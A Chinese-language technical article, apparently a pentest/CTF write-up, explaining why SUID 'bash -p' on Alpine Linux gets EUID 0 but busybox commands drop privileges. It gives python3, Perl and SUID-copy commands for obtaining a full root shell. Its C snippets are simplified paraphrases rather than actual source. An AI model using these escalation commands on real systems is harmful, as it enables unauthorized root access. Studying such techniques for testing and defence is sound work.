Alpine Linux SUID提权深度剖析:当bash遇到busybox

摘要

Alpine Linux基于musl libc和busybox的独特设计,使其在SUID提权场景下展现出"一叶障目"般的矛盾现象:bash -p看似成功获得root权限(${EUID}=0),但执行外部命令时却处处受限。本文通过系统实验,深入剖析了busybox的主动降权机制------它通过检测Real UID与Effective UID的一致性来决定是否降权,以及如何通过setuid(0)原理(将Real、Effective、Saved、Filesystem四组UID统一设置为0)彻底绕过这一限制,实现真正完整的权限提升。


1. 引言:一叶障目的提权困境

在渗透测试中,SUID提权是经典路径。Alpine Linux上设置/bin/bash为SUID后,普通用户执行bash -p会出现令人困惑的现象:

bash 复制代码
emma@Alpine:~$ bash -p
bash-5.3# echo ${EUID}
0                              # ✅ 显示为 root

bash-5.3# cat /proc/$$/status | grep ^Uid
Uid: 1000 0 0 0               # ✅ 确实是 root 权限

bash-5.3# id -u
1000                           # ❌ 但 id 说自己不是 root

bash-5.3# cat /root/flag
cat: can't open '/root/flag': Permission denied  # ❌ 无法访问

bash-5.3# cat < /root/flag
flag{root_access}              # ✅ 重定向却可以

bash-5.3# python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
bash-5.3# cat /root/flag      # ✅ 现在完全正常
flag{root_access}

一叶障目${EUID}显示0,/proc/$$/status也证实EUID=0,仿佛已经提权成功------但这片"叶子"(busybox的降权机制)挡住了真正完整的权限,让外部命令全部失效,唯有用setuid(0)彻底"拨开叶子",才能获得真正的root权限。


2. 核心机制:busybox的降权检测逻辑

2.1 busybox applet的启动检查

当任何busybox applet(如lscatid)启动时,会执行以下安全检查:

c 复制代码
// busybox appletlib.c 核心降权逻辑
int run_applet(int argc, char **argv) {
    // 检测:真实UID 与 有效UID 是否一致?
    if (geteuid() != getuid()) {
        // 不一致!说明普通用户(ruid=1000)在执行SUID程序(euid=0)
        // 主动降权到真实用户
        setuid(getuid());     // EUID: 0 → 1000
        setgid(getgid());
        setfsuid(getuid());   // FSUID: 0 → 1000
        // 此时所有UID统一为1000
    }
    // 以降权后的权限执行具体applet
    return applet_main(argc, argv);
}

判断条件geteuid() != getuid()

场景 ruid euid 是否降权 结果
普通用户执行普通程序 1000 1000 ❌ 不降权 以1000运行
普通用户执行SUID程序 1000 0 降权! 回退到1000
root用户执行任何程序 0 0 ❌ 不降权 以0运行
所有UID统一为0 0 0 ❌ 不降权 以0运行

关键洞察 :busybox不关心进程是否有root权限,它只检查ruid和euid是否相同。只要两者不同,就认为"普通用户在执行SUID程序",立即降权回ruid。

2.2 实验验证:ruid和euid的博弈

bash 复制代码
# 初始状态:bash -p 后
bash-5.3# cat /proc/$$/status | grep ^Uid
Uid: 1000 0 0 0
#     |    |
#   ruid euid ← 不同!busybox检测到会降权

# 调用外部命令时
bash-5.3# id -u    # busybox启动
# 检测到 ruid=1000, euid=0 → 不同!
# 执行 setuid(1000) 降权
# 输出:1000

# 使用setuid(0)统一所有UID后
bash-5.3# python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
bash-5.3# cat /proc/$$/status | grep ^Uid
Uid: 0 0 0 0
#     | |
#  所有UID统一为0 ← 相同!busybox不再降权

bash-5.3# id -u    # busybox启动
# 检测到 ruid=0, euid=0 → 相同!
# 不降权,保持root
# 输出:0

3. 提权的本质:统一所有UID

3.1 setuid(0) 的原理

setuid(0)系统调用的核心作用:

c 复制代码
// setuid() 系统调用行为
int setuid(uid_t uid) {
    if (uid == 0) {
        // 如果进程有 CAP_SETUID capability (EUID=0自动拥有)
        // 将所有三个UID统一设置为0
        current->uid = 0;       // Real UID
        current->euid = 0;      // Effective UID
        current->suid = 0;      // Saved UID
        // FSUID 也会自动同步为0
    }
    return 0;
}

为什么普通程序不能调用setuid(0)

  • 只有EUID=0的进程才拥有CAP_SETUID capability
  • 普通用户(EUID=1000)调用setuid(0)会失败(权限不足)
  • bash -p已经让EUID=0,所以可以成功!

3.2 统一UID前后的对比

状态 ruid euid suid fsuid busybox行为 外部命令
bash -p 后 1000 0 0 0 ruid≠euid → 降权 ❌ 失败
setuid(0) 后 0 0 0 0 ruid=euid → 不降权 ✅ 成功

3.3 为什么重定向能工作(即使UID不一致)

bash 复制代码
bash-5.3# cat < /root/flag  # 成功

重定向由bash自身处理(EUID=0),不经过busybox,所以不受降权影响:

复制代码
bash (ruid=1000, euid=0, fsuid=0)
  ├─ 处理重定向 "<"
  ├─ bash 自己 open("/root/flag")  ← 以EUID=0执行
  ├─ 获得文件描述符 fd
  ├─ fork 子进程
  ├─ 子进程继承 fd
  ├─ execve("/bin/cat")  → busybox cat
  ├─ busybox 降权 (ruid=1000, euid=1000)
  └─ cat 从继承的 fd 读取 → 成功!(无需open)

重定向成功的本质open()由bash执行(EUID=0),文件描述符被继承,busybox即使降权也无需重新open()


4. 完整提权的方法

4.1 使用 setuid(0) 统一UID

bash 复制代码
bash-5.3# python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
sh-5.3# cat /proc/$$/status | grep ^Uid
Uid: 0 0 0 0
sh-5.3# id
uid=0(root) gid=0(root)
sh-5.3# ls -la /root
total 4
drwx------ 1 root root 4096 Jun 27 10:00 .
-rw------- 1 root root   33 Jun 27 10:00 flag

原理

  • bash -p 已经让进程拥有 EUID=0(具备 CAP_SETUID)
  • Python 继承了 bash 的权限(EUID=0)
  • os.setuid(0) 将所有UID统一为0
  • 后续任何命令(包括busybox)都不会被降权

4.2 使用 Perl 实现 setuid(0)

bash 复制代码
bash-5.3# perl -e '$< = 0; $> = 0; $) = 0; exec("/bin/sh")'
sh-5.3# id
uid=0(root) gid=0(root)

4.3 使用脚本创建永久SUID shell(不行)

bash 复制代码
# 利用当前提权的bash创建一个真正的SUID shell
bash-5.3# cp /bin/bash /tmp/rootsh
bash-5.3# chown root:root /tmp/rootsh
bash-5.3# chmod +s /tmp/rootsh
bash-5.3# /tmp/rootsh -p

# 新的shell启动时:
# 内核设置 euid=0
# bash -p 保留 euid=0(不降权)
# 但注意:ruid 仍然是1000(继承自调用者)
bash-5.3# cat /proc/$$/status | grep ^Uid
Uid: 1000 0 0 0    # 仍然不一致!
# 但这次bash启动时处理了重定向逻辑,且创建时ruid也是1000
# 外部命令仍然会被busybox降权!

注意 :复制SUID bash后,ruid仍然是1000,所以busybox仍会降权。必须配合setuid(0)才能真正统一所有UID。


5. 完整流程时间线

复制代码
T0: 初始状态
    emma (ruid=1000, euid=1000) 执行 bash -p

T1: 内核处理SUID
    ├─ /bin/bash 有SUID位 (owner=root)
    └─ 设置进程: ruid=1000, euid=0, fsuid=0

T2: bash初始化
    ├─ 检测到 -p 选项,保留 EUID=0
    ├─ ${EUID}=0 (缓存)
    └─ 当前状态: ruid=1000, euid=0, fsuid=0

T3: 执行外部命令 (如 cat /root/flag)
    ├─ fork 子进程 (继承所有UID)
    ├─ execve("/bin/cat") → busybox
    ├─ busybox检测: ruid=1000, euid=0 → 不同!
    ├─ 执行: setuid(1000); setfsuid(1000)
    ├─ 现在: ruid=1000, euid=1000, fsuid=1000
    └─ cat open("/root/flag") → Permission denied ❌

T4: 执行重定向命令 (cat < /root/flag)
    ├─ bash处理重定向: open("/root/flag") (EUID=0)
    ├─ 获得文件描述符 fd=3
    ├─ fork 子进程
    ├─ 子进程继承 fd=3 (已打开)
    ├─ execve("/bin/cat") → busybox
    ├─ busybox检测到降权: euid=1000
    └─ cat从stdin读取 (fd已打开) → 成功!✅

T5: 执行 setuid(0) (python -c 'os.setuid(0)')
    ├─ python (EUID=0) 拥有 CAP_SETUID
    ├─ os.setuid(0) 系统调用
    ├─ 内核统一所有UID: ruid=0, euid=0, fsuid=0
    ├─ 现在: ruid=0, euid=0, fsuid=0
    └─ 所有UID一致,busybox不再降权

T6: 完整提权完成
    ├─ 任何外部命令都以 root 运行
    ├─ cat /root/flag → 成功!✅
    ├─ ls /root → 成功!✅
    └─ id -u → 0 ✅

6. 与其他发行版的对比

状态 Alpine (musl+busybox) Ubuntu/CentOS (glibc+bash)
bash -p 后 EUID 0 (root) ✅ 0 (root) ✅
bash -p 后 ruid 1000 1000
ruid == euid? ❌ 不同 ❌ 不同
busybox是否降权 会降权 N/A (无busybox)
外部命令是否可用 ❌ 受限 ✅ 完全可用
是否需要 setuid(0) 必须 ❌ 不需要

关键差异 :Ubuntu的外部命令(如/bin/cat)是独立二进制文件,不会主动降权。而Alpine的所有外部命令都是busybox,都会执行降权检查。


7. 一叶障目的本质

7.1 叶子是什么?

叶子 = busybox的降权检测if (geteuid() != getuid()) setuid(getuid())

7.2 为什么说"一叶障目"?

复制代码
现象:
├─ 障眼法:${EUID}=0,/proc/$$/status显示EUID=0
├─ 真实情况:ruid=1000, euid=0 不一致
├─ busybox看到:不一致 → 降权回1000
└─ 结果:看似root,实则命令处处受限

比喻:
├─ 眼睛(EUID)= 看到了 root 权限(0)
├─ 叶子(busybox的ruid检查)= 挡住了真实权限
├─ 你以为自己看到了完整的 root(一叶障目)
└─ 但叶子后面的世界(真实完整的root访问)被挡住了

7.3 如何拨开叶子?

bash 复制代码
# 使用 setuid(0) 统一所有UID
python3 -c 'import os; os.setuid(0)'

原理

  1. bash -p 已经让 EUID=0(眼睛能看到root)
  2. setuid(0) 将 ruid 也改为0(把叶子挪开)
  3. 现在 ruid=0, euid=0(完全一致)
  4. busybox检测到两者相同 → 不降权(叶子消失了)
  5. 真正完整的root权限(拨云见日)

小结

Alpine Linux的SUID机制体现了"一叶障目"般的安全哲学:

  1. 表面现象bash -p 提权成功(EUID=0)
  2. 隐藏机制 :busybox通过检测ruid == euid决定是否降权
  3. 降权条件:只要ruid≠euid,busybox就主动降权到ruid
  4. 绕过方法 :使用setuid(0)将所有UID统一为0
  5. 最终状态:真正完整的root权限,所有命令正常执行